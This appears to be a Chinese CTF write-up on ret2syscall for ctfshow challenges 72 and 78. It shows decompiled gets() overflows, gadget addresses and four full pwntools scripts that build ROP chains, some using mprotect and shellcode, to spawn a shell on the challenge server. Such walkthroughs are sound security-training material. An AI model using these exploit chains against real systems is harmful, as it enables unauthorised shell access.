0%

ret2syscall例题

ctfshow72(32位ret2syscall,多系统函数调用)

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位,开启NX保护,栈不可执行

IDA:

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+10h] [ebp-20h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-PWN");
puts("where is my system?");
gets(&v4);
puts("Emmm");
return 0;
}

这道题与上一道题一样,只不过没有”/bin/sh”字符串,但是有read,我们可以调用read函数,往bss段写入/bin/sh

0x08049421 : int 0x80

read = 0x0806d170

0x080bb2c6 : pop eax ; ret

0x0806ecb0 : pop edx ; pop ecx ; pop ebx ; ret

0x0806F350: int 0x80

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
io = remote('pwn.challenge.ctf.show',28220)
pop_eax_ret = 0x080bb2c6
pop_edx_ecx_ebx_ret = 0x0806ecb0
int_0x80 = 0x0806F350
bss = 0x080EBB29
binsh = "/bin/sh\x00" #以空字符 '\x00'作为结束标志的,防止读取后续内存中的数据
payload = b'a'*(44)+p32(pop_eax_ret)
payload += p32(0x3)+p32(pop_edx_ecx_ebx_ret) #0x3是read函数的系统调用号
payload += p32(0x100)+p32(bss)+p32(0) #read的三个参数
payload += p32(int_0x80)
payload += p32(pop_eax_ret)+p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bss)
payload += p32(int_0x80)
io.sendline(payload)
io.sendline(binsh)
io.interactive()

同时因为是静态编译我们可以借助mprotect函数修改bss段的权限

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28187)
mprotect= elf.sym['mprotect']
read = elf.sym['read']
pop_edx_ecx_ebx_ret = 0x0806ecb0
bss = 0x080eb000
shellcode = asm(shellcraft.sh())
payload = b'a'*(44)+p32(mprotect)
payload += p32(pop_edx_ecx_ebx_ret)+p32(bss)+p32(0x100)+p32(7) #mprotect参数
payload += p32(read)
payload +=p32(bss)
payload += p32(0)+p32(bss)+p32(0x100) #read参数
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

ctfshow78(64位ret2syscall,多系统函数调用)

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位NX保护开启

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[80]; // [rsp+0h] [rbp-50h] BYREF

setvbuf(stdout, 0LL, 2LL, 0LL);
setvbuf(stdin, 0LL, 1LL, 0LL);
puts("CTFshowPWN!");
puts("where is my system_x64?");
gets(v4);
puts("fuck");
return 0;
}

gets函数可以栈溢出(0x58)这道题与ctfshow72一样,没有bin/sh字符串,需要借助read写入

0x000000000046b9f8 : pop rax ; ret

0x00000000004016c3 : pop rdi ; ret

0x00000000004377f9 : pop rdx ; pop rsi ; ret

syscall = 0x45BAC5

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
io = remote('pwn.challenge.ctf.show',28200)
#io = process('./pwn')
rax_ret = 0x046b9f8
rdi_ret = 0x04016c3
rdx_rsi_ret =0x4377f9
syscall = 0x45BAC5
bss = 0x06C1DE3
binsh = b"/bin/sh\x00"
payload = b'a'*(0x58)+p64(rax_ret)+p64(0x0)
payload += p64(rdi_ret)+p64(0)
payload += p64(rdx_rsi_ret)+p64(0x100)+p64(bss)+p64(syscall)
payload += p64(rax_ret)+p64(0x3b)
payload += p64(rdi_ret)+p64(bss)
payload += p64(rdx_rsi_ret)+p64(0)+p64(0)+p64(syscall)
#gdb.attach(io)
io.sendline(payload)
io.send(binsh)
io.interactive()

这道题也可以借助mprotect来修改bss段权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
io = remote('pwn.challenge.ctf.show',28191)
elf = ELF('./pwn')
rdi_ret = 0x04016c3
rdx_rsi_ret =0x4377f9
bss = 0x6c1c40
read =elf.sym['read']
mprotect =elf.sym['mprotect']
shellcode = asm(shellcraft.sh())
payload = b'a'*(0x58)
payload += p64(rdi_ret)+p64(0x6c1000)
payload += p64(rdx_rsi_ret)+p64(7)+p64(0x1000)+p64(mprotect)
payload += p64(rdi_ret)+p64(0)
payload += p64(rdx_rsi_ret)+p64(0x1000)+p64(bss)+p64(read)+p64(bss)
io.sendline(payload)
io.send(shellcode)
io.interactive()
// 在最后添加